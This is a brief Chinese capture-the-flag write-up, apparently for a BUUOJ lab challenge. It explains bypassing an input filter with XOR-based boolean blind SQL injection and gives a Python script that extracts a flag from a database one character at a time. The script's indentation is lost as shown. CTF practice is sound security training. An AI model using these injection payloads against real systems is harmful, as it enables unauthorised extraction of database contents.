随便试了几个数字,都正常弹出信息。
输入1 or 1=1被检测到了。
fuzz一下得到异或符号^和许多函数是未被检测到的,可以考虑异或注入。
1^1结果为0
1^0结果为1,我们可以将其中一个的的值改为一个条件判断语句。贴一个盲注脚本
import requests
url = "http://2865189d-21d9-40bf-b680-13ac581683f8.node4.buuoj.cn:81/"
res = ""
try:
for i in range(1, 50):
for j in range(1, 127):
payload = "1^if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1)" % (i, j)
data = {"id": payload}
r = requests.post(url, data)
print(payload)
if "Hello, glzjin wants a girlfriend." in r.text:##说明payload结果为1,即if语句的结果为0,也就是ascii函数的结果为正确的
res += (chr(j))
print(res)
break
except:
print("end ....")
print(res)
最后得到flag